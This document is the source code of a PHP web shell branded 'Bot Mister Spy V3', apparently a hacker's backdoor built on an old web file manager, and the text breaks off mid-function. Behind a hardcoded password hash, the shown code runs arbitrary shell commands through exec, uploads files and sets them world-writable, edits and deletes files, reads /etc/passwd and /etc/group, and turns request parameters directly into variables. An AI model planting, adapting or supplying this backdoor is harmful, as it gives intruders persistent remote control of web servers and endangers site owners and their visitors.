Mister Spy Say ="Hello Kids ... :D"
___ ____ _ _____
| \/ (_) | | / ___|
| . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
| |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
| | | | \__ \ || __/ | /\__/ / |_) | |_| |
\_| |_/_|___/\__\___|_| \____/| .__/ \__, |
| | __/ |
|_| |___/
Bot Mister Spy V3
Mister Spy
Mister Spy
<?php
//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"3f7fabbd646df2b6b2be00648c2e1547";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";s:0:"";s:7:"fm_root";s:1:"/";s:17:"cookie_cache_time";i:1096733048;s:7:"version";s:5:"0.9.3";}
/*--------------------------------------------------
*/
// +--------------------------------------------------
// | Header and Globals
// +--------------------------------------------------
header("Pragma: no-cache");
header("Cache-Control: no-store");
foreach ($_GET as $key => $val) $$key=htmldecode($val);
foreach ($_POST as $key => $val) $$key=htmldecode($val);
foreach ($_COOKIE as $key => $val) $$key=htmldecode($val);
if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
$ip = $_SERVER["REMOTE_ADDR"]; //sin proxy
}
else{
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //usa proxy
}
$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$url_info = parse_url(current_page_url());
function current_page_url(){
$page_url = 'http';
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'){
$page_url .= 's';
}
return $page_url.'://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
}
$doc_root = ($islinux) ? $_SERVER["DOCUMENT_ROOT"] : ucfirst($_SERVER["DOCUMENT_ROOT"]);
$script_filename = $doc_root.$_SERVER["PHP_SELF"];
$path_info = pathinfo($script_filename);
// +--------------------------------------------------
// | Config
// +--------------------------------------------------
$cfg = new config();
$cfg->load();
ini_set("display_errors",1);
ini_set("error_reporting",$error_reporting);
if (!isset($current_dir)){
$current_dir = $path_info["dirname"]."/";
if (!$islinux) $current_dir = ucfirst($current_dir);
@chmod($current_dir,0777);
} else $current_dir = formatpath($current_dir);
$is_reachable = (stristr($current_dir,$doc_root)!==false);
// Auto Expand Local Path
if (!isset($expanded_dir_list)){
$expanded_dir_list = "";
$mat = explode("/",$path_info["dirname"]);
for ($x=0;$x<count($mat);$x++) $expanded_dir_list .= ":".$mat[$x];
setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");
}
if (!isset($fm_root_atual)){
if (strlen($fm_root)) $fm_root_atual = $fm_root;
else {
if (!$islinux) $fm_root_atual = ucfirst($path_info["dirname"]."/");
else $fm_root_atual = $doc_root."/";
}
setcookie("fm_root_atual", $fm_root_atual, 0, "/");
} elseif (isset($set_fm_root_atual)) {
if (!$islinux) $fm_root_atual = ucfirst($set_fm_root_atual);
setcookie("fm_root_atual", $fm_root_atual, 0, "/");
}
if (!isset($resolveIDs)){
setcookie("resolveIDs", 0, $cookie_cache_time, "/");
} elseif (isset($set_resolveIDs)){
$resolveIDs=($resolveIDs)?0:1;
setcookie("resolveIDs", $resolveIDs, $cookie_cache_time, "/");
}
if (@$resolveIDs){
exec("cat /etc/passwd",$mat_passwd);
exec("cat /etc/group",$mat_group);
}
$fm_color['Bg'] = "000000";
$fm_color['Text'] = "006600";
$fm_color['Link'] = "992929";
$fm_color['Mark'] = "A7D2E4";
$fm_color['Dir'] = "CCCCCC";
$fm_color['File'] = "000000";
$fm_color['FileFirstCell'] = "FFFFFF";
foreach($fm_color as $tag=>$color){
$fm_color[$tag]=strtolower($color);
}
// +--------------------------------------------------
// | File Manager Actions
// +--------------------------------------------------
if ($loggedon==$auth_pass){
switch (@$frame){
case 1: break; // Empty Frame
case 2: frame2(); break;
case 3: frame3(); break;
default:
switch(@$action){
case 1: logout(); break;
case 2: config_form(); break;
case 3: download(); break;
case 4: view(); break;
case 5: server_info(); break;
case 6: execute(); break;
case 7: edit_file_form(); break;
case 8: chmod_form(); break;
case 9: shell_form(); break;
case 10: upload_form(); break;
case 11: tools_form(); break;
default: frameset();
}
}
} else {
if (isset($senha)) login();
else form_login();
}
// +--------------------------------------------------
// | Config Class
// +--------------------------------------------------
class config {
var $data;
var $filename;
function config(){
global $script_filename;
$this->data = array(
'lang'=>'en',
'auth_pass'=>md5(''),
'quota_mb'=>0,
'upload_ext_filter'=>array(),
'download_ext_filter'=>array(),
'error_reporting'=>'',
'fm_root'=>'',
'cookie_cache_time'=>time()+60*60*24*30, // 30 Dias
'version'=>'0.9.3'
);
$data = false;
$this->filename = $script_filename;
if (file_exists($this->filename)){
$mat = file($this->filename);
$objdata = trim(substr($mat[1],2));
if (strlen($objdata)) $data = unserialize($objdata);
}
if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
else $this->save();
}
function save(){
$objdata = "<?php".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);
if (strlen($objdata)){
if (file_exists($this->filename)){
$mat = file($this->filename);
if ($fh = @fopen($this->filename, "w")){
@fputs($fh,$objdata,strlen($objdata));
for ($x=2;$x<count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));
@fclose($fh);
}
}
}
}
function load(){
foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
}
}
// +--------------------------------------------------
// | Internationalization
// +--------------------------------------------------
function et($tag){
global $lang;
// English
$en['Version'] = 'Version';
$en['DocRoot'] = 'Document Root';
$en['FLRoot'] = 'File Manager Root';
$en['Name'] = 'Name';
$en['And'] = 'and';
$en['Enter'] = 'Enter';
$en['Send'] = 'Send';
$en['Refresh'] = 'Refresh';
$en['SaveConfig'] = 'Save Configurations';
$en['SavePass'] = 'Save Password';
$en['SaveFile'] = 'Save File';
$en['Save'] = 'Save';
$en['Leave'] = 'Leave';
$en['Edit'] = 'Edit';
$en['View'] = 'View';
$en['Config'] = 'Config';
$en['Ren'] = 'Rename';
$en['Rem'] = 'Delete';
$en['Compress'] = 'Compress';
$en['Decompress'] = 'Decompress';
$en['ResolveIDs'] = 'Resolve IDs';
$en['Move'] = 'Move';
$en['Copy'] = 'Copy';
$en['ServerInfo'] = 'Server Info';
$en['CreateDir'] = 'Create Directory';
$en['CreateArq'] = 'Create File';
$en['ExecCmd'] = 'Execute Command';
$en['Upload'] = 'Upload';
$en['UploadEnd'] = 'Upload Finished';
$en['Perms'] = 'Permissions';
$en['Owner'] = 'Owner';
$en['Group'] = 'Group';
$en['Other'] = 'Other';
$en['Size'] = 'Size';
$en['Date'] = 'Date';
$en['Type'] = 'Type';
$en['Free'] = 'free';
$en['Shell'] = 'Shell';
$en['Read'] = 'Read';
$en['Write'] = 'Write';
$en['Exec'] = 'Execute';
$en['Apply'] = 'Apply';
$en['StickyBit'] = 'Sticky Bit';
$en['Pass'] = 'Password';
$en['Lang'] = 'Language';
$en['File'] = 'File';
$en['File_s'] = 'file(s)';
$en['Dir_s'] = 'directory(s)';
$en['To'] = 'to';
$en['Destination'] = 'Destination';
$en['Configurations'] = 'Configurations';
$en['JSError'] = 'JavaScript Error';
$en['NoSel'] = 'There are no selected itens';
$en['SelDir'] = 'Select the destination directory on the left tree';
$en['TypeDir'] = 'Enter the directory name';
$en['TypeArq'] = 'Enter the file name';
$en['TypeCmd'] = 'Enter the command';
$en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
$en['RemSel'] = 'DELETE selected itens';
$en['NoDestDir'] = 'There is no selected destination directory';
$en['DestEqOrig'] = 'Origin and destination directories are equal';
$en['InvalidDest'] = 'Destination directory is invalid';
$en['NoNewPerm'] = 'New permission not set';
$en['CopyTo'] = 'COPY to';
$en['MoveTo'] = 'MOVE to';
$en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
$en['ConfExec'] = 'Confirm EXECUTE';
$en['ConfRem'] = 'Confirm DELETE';
$en['EmptyDir'] = 'Empty directory';
$en['IOError'] = 'I/O Error';
$en['FileMan'] = 'Noko Remote Battlestation';
$en['TypePass'] = 'Enter the password';
$en['InvPass'] = 'Invalid Password';
$en['ReadDenied'] = 'Read Access Denied';
$en['FileNotFound'] = 'File not found';
$en['AutoClose'] = 'Close on Complete';
$en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
$en['NoCmd'] = 'Error: Command not informed';
$en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
$en['ConfSaved'] = 'Configurations saved';
$en['PassSaved'] = 'Password saved';
$en['FileDirExists'] = 'File or directory already exists';
$en['NoPhpinfo'] = 'Function phpinfo disabled';
$en['NoReturn'] = 'no return';
$en['FileSent'] = 'File sent';
$en['SpaceLimReached'] = 'Space limit reached';
$en['InvExt'] = 'Invalid extension';
$en['FileNoOverw'] = 'File could not be overwritten';
$en['FileOverw'] = 'File overwritten';
$en['FileIgnored'] = 'File ignored';
$en['ChkVer'] = 'Check sf.net for new version';
$en['ChkVerAvailable'] = 'New version, click here to begin download!!';
$en['ChkVerNotAvailable'] = 'No new version available. :(';
$en['ChkVerError'] = 'Connection Error.';
$en['Website'] = 'Website';
$en['SendingForm'] = 'Sending files, please wait';
$en['NoFileSel'] = 'No file selected';
$en['SelAll'] = 'All';
$en['SelNone'] = 'None';
$en['SelInverse'] = 'Inverse';
$en['Selected_s'] = 'selected';
$en['Total'] = 'total';
$en['Partition'] = 'Partition';
$en['RenderTime'] = 'Time to render this page';
$en['Seconds'] = 'sec';
$en['ErrorReport'] = 'Error Reporting';
$lang_ = $$lang;
if (isset($lang_[$tag])) return htmlencode($lang_[$tag]);
else return "undefined";
}
// +--------------------------------------------------
// | File System
// +--------------------------------------------------
function total_size($arg) {
$total = 0;
if (file_exists($arg)) {
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
}
closedir($handle);
} else $total = filesize($arg);
}
return $total;
}
function total_delete($arg) {
if (file_exists($arg)) {
chmod($arg,0777);
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
}
closedir($handle);
rmdir($arg);
} else unlink($arg);
}
}
function total_copy($orig,$dest) {
$ok = true;
if (file_exists($orig)) {
if (is_dir($orig)) {
mkdir($dest,0777);
$handle = opendir($orig);
while(($aux = readdir($handle))&&($ok)) {
if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
}
closedir($handle);
} else $ok = copy((string)$orig,(string)$dest);
}
return $ok;
}
function total_move($orig,$dest) {
// Just why doesn't it has a MOVE alias?!
return rename((string)$orig,(string)$dest);
}
function download(){
global $current_dir,$filename;
$file = $current_dir.$filename;
if(file_exists($file)){
$is_proibido = false;
foreach($download_ext_filter as $key=>$ext){
if (stristr($filename,$ext)){
$is_proibido = true;
break;
}
}
if (!$is_proibido){
$size = filesize($file);
header("Content-Type: application/save");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Transfer-Encoding: binary");
if ($fh = fopen("$file", "rb")){
fpassthru($fh);
fclose($fh);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('FileNotFound').": ".$file);
}
function execute(){
global $cmd;
header("Content-type: text/plain");
if (strlen($cmd)){
echo "# ".$cmd."\n";
exec($cmd,$mat);
if (count($mat)) echo trim(implode("\n",$mat));
else echo "exec(\"$cmd\") ".et('NoReturn')."...";
} else echo et('NoCmd');
}
function save_upload($temp_file,$filename,$dir_dest) {
global $upload_ext_filter;
$filename = remove_acentos($filename);
$file = $dir_dest.$filename;
$filesize = filesize($temp_file);
$is_proibido = false;
foreach($upload_ext_filter as $key=>$ext){
if (preg_replace("/".$ext."/i",$filename)){
$is_proibido = true;
break;
}
}
if (!$is_proibido){
if (!limite($filesize)){
if (file_exists($file)){
if (unlink($file)){
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 6;
} else $out = 2;
} else $out = 5;
} else {
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 1;
} else $out = 2;
}
} else $out = 3;
} else $out = 4;
return $out;
}
function zip_extract(){
global $cmd_arg,$current_dir,$islinux;
$zip = zip_open($current_dir.$cmd_arg);
if ($zip) {
while ($zip_entry = zip_read($zip)) {
if (zip_entry_filesize($zip_entry)) {
$complete_path = $path.dirname(zip_entry_name($zip_entry));
$complete_name = $path.zip_entry_name($zip_entry);
if(!file_exists($complete_path)) {
$tmp = '';
foreach(explode('/',$complete_path) AS $k) {
$tmp .= $k.'/';
if(!file_exists($tmp)) {
@mkdir($current_dir.$tmp, 0777);
}
}
}
if (zip_entry_open($zip, $zip_entry, "r")) {
if ($fd = fopen($current_dir.$complete_name, 'w')){
fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
fclose($fd);
} else echo "fopen($current_dir.$complete_name) error<br>";
zip_entry_close($zip_entry);
} else echo "zip_entry_open($zip,$zip_entry) error<br>";
}
}
zip_close($zip);
}
}
// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------
function htmlencode($str){
return htmlentities($str, ENT_SUBSTITUTE, "UTF-8");
}
// html_entity_decode() replacement
function html_entity_decode_for_php4_compatibility ($string) {
$trans_tbl = get_html_translation_table (HTML_ENTITIES);
$trans_tbl = array_flip ($trans_tbl);
$ret = strtr ($string, $trans_tbl);
return preg_replace('/\&\#([0-9]+)\;/me',
"chr('\\1')",$ret);
}
function htmldecode($str){
if (is_string($str)){
if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode_for_php4_compatibility($str));
else return html_entity_decode($str);
} else return $str;
}
function rep($x,$y){
if ($x) {
$aux = "";
for ($a=1;$a<=$x;$a++) $aux .= $y;
return $aux;
} else return "";
}
function strzero($arg1,$arg2){
if (strstr($arg1,"-") == false){
$aux = intval($arg2) - strlen($arg1);
if ($aux) return rep($aux,"0").$arg1;
else return $arg1;
} else {
return "[$arg1]";
}
}
function replace_double($sub,$str){
$out=str_replace($sub.$sub,$sub,$str);
while ( strlen($out) != strlen($str) ){
$str=$out;
$out=str_replace($sub.$sub,$sub,$str);
}
return $out;
}
function remove_acentos($str){
$str = trim($str);
$str = strtr($str,"�����������������������������������������������������������!@#%&*()[]{}+=?",
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
$str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
return $str;
}
function formatpath($str){
global $islinux;
$str = trim($str);
$str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
$done = false;
while (!$done) {
$str2 = str_replace("//","/",$str);
if (strlen($str) == strlen($str2)) $done = true;
else $str = $str2;
}
$tam = strlen($str);
if ($tam){
$last_char = $tam - 1;
if ($str[$last_char] != "/") $str .= "/";
if (!$islinux) $str = ucfirst($str);
}
return $str;
}
function array_csort() {
$i=0;
$args = func_get_args();
$marray = array_shift($args);
$msortline = "return(array_multisort(";
foreach ($args as $arg) {
$i++;
if (is_string($arg)) {
foreach ($marray as $row) {
$sortarr[$i][] = $row[$arg];
}
} else {
$sortarr[$i] = $arg;
}
$msortline .= "\$sortarr[".$i."],";
}
$msortline .= "\$marray));";
eval($msortline);
return $marray;
}
function show_perms( $in_Perms ) {
$sP = "<b>";
if($in_Perms & 0x1000) $sP .= 'p'; // FIFO pipe
elseif($in_Perms & 0x2000) $sP .= 'c'; // Character special
elseif($in_Perms & 0x4000) $sP .= 'd'; // Directory
elseif($in_Perms & 0x6000) $sP .= 'b'; // Block special
elseif($in_Perms & 0x8000) $sP .= '−'; // Regular
elseif($in_Perms & 0xA000) $sP .= 'l'; // Symbolic Link
elseif($in_Perms & 0xC000) $sP .= 's'; // Socket
else $sP .= 'u'; // UNKNOWN
$sP .= "</b>";
// owner - group - others
$sP .= (($in_Perms & 0x0100) ? 'r' : '−') . (($in_Perms & 0x0080) ? 'w' : '−') . (($in_Perms & 0x0040) ? (($in_Perms & 0x0800) ? 's' : 'x' ) : (($in_Perms & 0x0800) ? 'S' : '−'));
$sP .= (($in_Perms & 0x0020) ? 'r' : '−') . (($in_Perms & 0x0010) ? 'w' : '−') . (($in_Perms & 0x0008) ? (($in_Perms & 0x0400) ? 's' : 'x' ) : (($in_Perms & 0x0400) ? 'S' : '−'));
$sP .= (($in_Perms & 0x0004) ? 'r' : '−') . (($in_Perms & 0x0002) ? 'w' : '−') . (($in_Perms & 0x0001) ? (($in_Perms & 0x0200) ? 't' : 'x' ) : (($in_Perms & 0x0200) ? 'T' : '−'));
return $sP;
}
function formatsize($arg) {
if ($arg>0){
$j = 0;
$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
while ($arg >= pow(1024,$j)) ++$j;
return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
} else return "0 Mb";
}
function getsize($file) {
return formatsize(filesize($file));
}
function limite($new_filesize=0) {
global $fm_root_atual;
global $quota_mb;
if($quota_mb){
$total = total_size($fm_root_atual);
if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
}
return false;
}
function getuser ($arg) {
global $mat_passwd;
$aux = "x:".trim($arg).":";
for($x=0;$x<count($mat_passwd);$x++){
if (strstr($mat_passwd[$x],$aux)){
$mat = explode(":",$mat_passwd[$x]);
return $mat[0];
}
}
return $arg;
}
function getgroup ($arg) {
global $mat_group;
$aux = "x:".trim($arg).":";
for($x=0;$x<count($mat_group);$x++){
if (strstr($mat_group[$x],$aux)){
$mat = explode(":",$mat_group[$x]);
return $mat[0];
}
}
return $arg;
}
// +--------------------------------------------------
// | Interface
// +--------------------------------------------------
function html_header($plus=""){
global $fm_color;
echo "
<html>
<head>
<script language='javascript'>
// (c) Premshree Pillai
// http://www.qiksearch.com
// premshree@hotmail.com
// Use freely as long as this message is intact.
var msg = '...:::: ".et('FileMan')." ';
var pos = 0;
var spacer = ' ... ';
var time_length = 100;
function ScrollTitle()
{
document.title = msg.substring(pos, msg.length) + spacer + msg.substring(0, pos);
pos++;
if (pos > msg.length) pos=0;
window.setTimeout('ScrollTitle()',time_length);
}
ScrollTitle();
</script>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">
$plus
</head>
<script language=\"Javascript\" type=\"text/javascript\">
<!--
function Is(){
this.appname = navigator.appName;
this.appversion = navigator.appVersion;
this.platform = navigator.platform;
this.useragent = navigator.userAgent.toLowerCase();
this.ie = ( this.appname == 'Microsoft Internet Explorer' );
if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
this.sisop = 'mac';
} else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
this.sisop = 'windows';
} else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
this.sisop = 'linux';
}
}
var is = new Is();
function enterSubmit(keypressEvent,submitFunc){
var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
if( kCode == 13) eval(submitFunc);
}
var W = screen.width;
var H = screen.height;
var FONTSIZE = 0;
switch (W){
case 640:
FONTSIZE = 8;
break;
case 800:
FONTSIZE = 10;
break;
case 1024:
FONTSIZE = 12;
break;
default:
FONTSIZE = 14;
break;
}
";
echo replace_double(" ",str_replace(chr(13),"",str_replace(chr(10),"","
document.writeln('
<style>
body {
font-family : Arial;
font-size: '+FONTSIZE+'px;
font-weight : normal;
color: ".$fm_color['Text'].";
background-color: ".$fm_color['Bg'].";
}
table {
font-family : Arial;
font-size: '+FONTSIZE+'px;
font-weight : normal;
color: ".$fm_color['Text'].";
cursor: default;
}
input {
font-family : Arial;
font-size: '+FONTSIZE+'px;
font-weight : normal;
color: ".$fm_color['Text'].";
}
textarea {
font-family : Courier;
font-size: 12px;
font-weight : normal;
color: ".$fm_color['Text'].";
}
A {
font-family : Arial;
font-size : '+FONTSIZE+'px;
font-weight : bold;
text-decoration: none;
color: ".$fm_color['Text'].";
}
A:link {
color: ".$fm_color['Text'].";
}
A:visited {
color: ".$fm_color['Text'].";
}
A:hover {
color: ".$fm_color['Link'].";
}
A:active {
color: ".$fm_color['Text'].";
}
</style>
');
")));
echo "
//-->
</script>
";
}
function reloadframe($ref,$frame_number,$plus=""){
global $current_dir,$path_info;
echo "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
".$ref.".frame".$frame_number.".location.href='".$path_info["basename"]."?frame=".$frame_number."¤t_dir=".$current_dir.$plus."';
//-->
</script>
";
}
function alert($arg){
echo "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
alert('$arg');
//-->
</script>
";
}
function tree($dir_antes,$dir_corrente,$indice){
global $fm_root_atual, $current_dir, $islinux;
global $expanded_dir_list;
$indice++;
$num_dir = 0;
$dir_name = str_replace($dir_antes,"",$dir_corrente);
$dir_corrente = str_replace("//","/",$dir_corrente);
$is_proibido = false;
if ($islinux) {
$proibidos = "/proc#/dev";
$mat = explode("#",$proibidos);
foreach($mat as $key => $val){
if ($dir_corrente == $val){
$is_proibido = true;
break;
}
}
unset($mat);
}
if (!$is_proibido){
if ($handle = @opendir($dir_corrente)){
// Permitido
while ($file = readdir($handle)){
if ($file != "." && $file != ".." && is_dir("$dir_corrente/$file"))
@$mat_dir[] = $file;
}
closedir($handle);
if (count($mat_dir)){
sort($mat_dir,SORT_STRING);
// Con Sub-dir
if ($indice != 0){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "�";
}
if ($dir_antes != $dir_corrente){
if (strstr($expanded_dir_list,":$dir_corrente/$dir_name")) $op_str = "[�]";
else $op_str = "[+]";
echo " <a href=\"JavaScript:go_dir('$dir_corrente/$dir_name')\"><b>$op_str</b></a> <a href=\"JavaScript:go('$dir_corrente')\"><b>$dir_name</b></a><br>\n";
} else {
echo "<a href=\"JavaScript:go('$dir_corrente')\"><b>$fm_root_atual</b></a><br>\n";
}
for ($x=0;$x<count($mat_dir);$x++){
if (($dir_antes == $dir_corrente)||(strstr($expanded_dir_list,":$dir_corrente/$dir_name"))){
tree($dir_corrente."/",$dir_corrente."/".$mat_dir[$x],$indice);
} else flush();
}
} else {
// Sin Sub-dir
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "�";
echo "<a href=\"JavaScript:go('$dir_corrente')\"> <b>$dir_name</b></a><br>\n";
} else {
echo "<a href=\"JavaScript:go('$dir_corrente')\"> <b>$fm_root_atual</b></a><br>\n";
}
}
} else {
// Negado
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "�";
echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$dir_name</b></font></a><br>\n";
} else {
echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$fm_root_atual</b></font></a><br>\n";
}
}
} else {
// Prohibido
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "�";
echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$dir_name</b></font></a><br>\n";
} else {
echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$fm_root_atual</b></font></a><br>\n";
}
}
}
function show_tree(){
global $fm_root_atual,$path_info,$setflag,$islinux;
html_header();
echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
echo "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
// Disable text selection
function disableTextSelection(e){return false}
function enableTextSelection(){return true}
if (is.ie) document.onselectstart=new Function('return false')
else {
document.onmousedown=disableTextSelection
document.onclick=enableTextSelection
}
var flag = ".(($setflag)?"true":"false")."
function set_flag(arg) {
flag = arg;
}
function go_dir(arg) {
var setflag;
setflag = (flag)?1:0;
document.location.href='".$path_info["basename"]."?frame=2&setflag='+setflag+'¤t_dir=".@$current_dir."&ec_dir='+arg;
}
function go(arg) {
if (flag) {
parent.frame3.set_dir_dest(arg+'/');
flag = false;
} else {
parent.frame3.location.href='".$path_info["basename"]."?frame=3¤t_dir='+arg+'/';
}
}
function set_fm_root_atual(arg){
document.location.href='".$path_info["basename"]."?frame=2&set_fm_root_atual='+escape(arg);
}
function atualizar(){
document.location.href='".$path_info["basename"]."?frame=2';
}
//-->
</script>
";
echo "<table bordercolor=ffffff width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";
echo "<form><tr valign=top height=10><td>";
if (!$islinux){
echo "<select name=drive onchange=\"set_fm_root_atual(this.value)\">";
$aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($x=0;$x<strlen($aux);$x++){
if (strstr(strtoupper($fm_root_atual),$aux[$x].":/")) $is_sel="selected";
else $is_sel="";
echo "<option $is_sel value=\"".$aux[$x].":/\">".$aux[$x].":/";
}
echo "</select> ";
}
echo "<input type=button value=".et('Refresh')." onclick=\"atualizar()\"></tr></form>";
if (!$islinux) $aux=substr($fm_root_atual,0,strlen($fm_root_atual)-1);
else{
$aux=$fm_root_atual;
}
echo "<tr valign=top><td>";
clearstatcache();
tree($aux,$aux,-1,0);
echo "</td></tr>";
echo "
<form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\" target=\"_parent\">
<input type=hidden name=action value=1>
<tr>
<td height=10 colspan=2><input type=submit value=\"".et('Leave')."\">
</tr>
</form>
";
echo "</table>\n";
echo "</body>\n</html>";
}
function getmicrotime(){
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
function dir_list_form() {
global $fm_root_atual,$current_dir,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$is_reachable,$path_info,$fm_color;
$ti = getmicrotime();
clearstatcache();
$out = "<table bordercolor=ffffff border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#000000\">\n";
if ($opdir = @opendir($current_dir)) {
$entry_count = 0;
$file_count = 0;
$dir_count = 0;
$total_size = 0;
$uplink = "";
$entry_list = array();
$highlight_cols = 0;
while ($file = readdir($opdir)) {
if (($file != ".")&&($file != "..")){
if (is_file($current_dir.$file)){
$ext = strtolower(strrchr($file,"."));
$entry_list[$entry_count]["type"] = "file";
// Fun��o filetype() returns only "file"...
$entry_list[$entry_count]["size"] = filesize($current_dir.$file);
$entry_list[$entry_count]["sizet"] = getsize($current_dir.$file);
if (strstr($ext,".")){
$entry_list[$entry_count]["ext"] = $ext;
$entry_list[$entry_count]["extt"] = $ext;
} else {
$entry_list[$entry_count]["ext"] = "";
$entry_list[$entry_count]["extt"] = " ";
}
$file_count++;
} elseif (is_dir($current_dir.$file)) {
// Recursive directory size disabled
// $entry_list[$entry_count]["size"] = total_size($current_dir.$file);
$entry_list[$entry_count]["size"] = 0;
$entry_list[$entry_count]["sizet"] = 0;
$entry_list[$entry_count]["type"] = "dir";
$dir_count++;
}
$entry_list[$entry_count]["name"] = $file;
$entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir.$file));
$entry_list[$entry_count]["time"] = date("his", filemtime($current_dir.$file));
$entry_list[$entry_count]["datet"] = date("d/m/Y h:i:s", filemtime($current_dir.$file));
if ($islinux && $resolveIDs){
$entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir.$file));
$entry_list[$entry_count]["u"] = getuser(fileowner($current_dir.$file));
$entry_list[$entry_count]["g"] = getgroup(filegroup($current_dir.$file));
} else {
$entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir.$file),10,8);
$entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);
$entry_list[$entry_count]["u"] = fileowner($current_dir.$file);
$entry_list[$entry_count]["g"] = filegroup($current_dir.$file);
}
$total_size += $entry_list[$entry_count]["size"];
$entry_count++;
}
}
closedir($opdir);
if ($file_count) $highlight_cols = ($islinux)?7:5;
else $highlight_cols = ($islinux)?6:4;
if($entry_count){
$or1="1A";
$or2="2D";
$or3="3A";
$or4="4A";
$or5="5A";
$or6="6D";
$or7="7D";
switch($order_dir_list_by){
case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
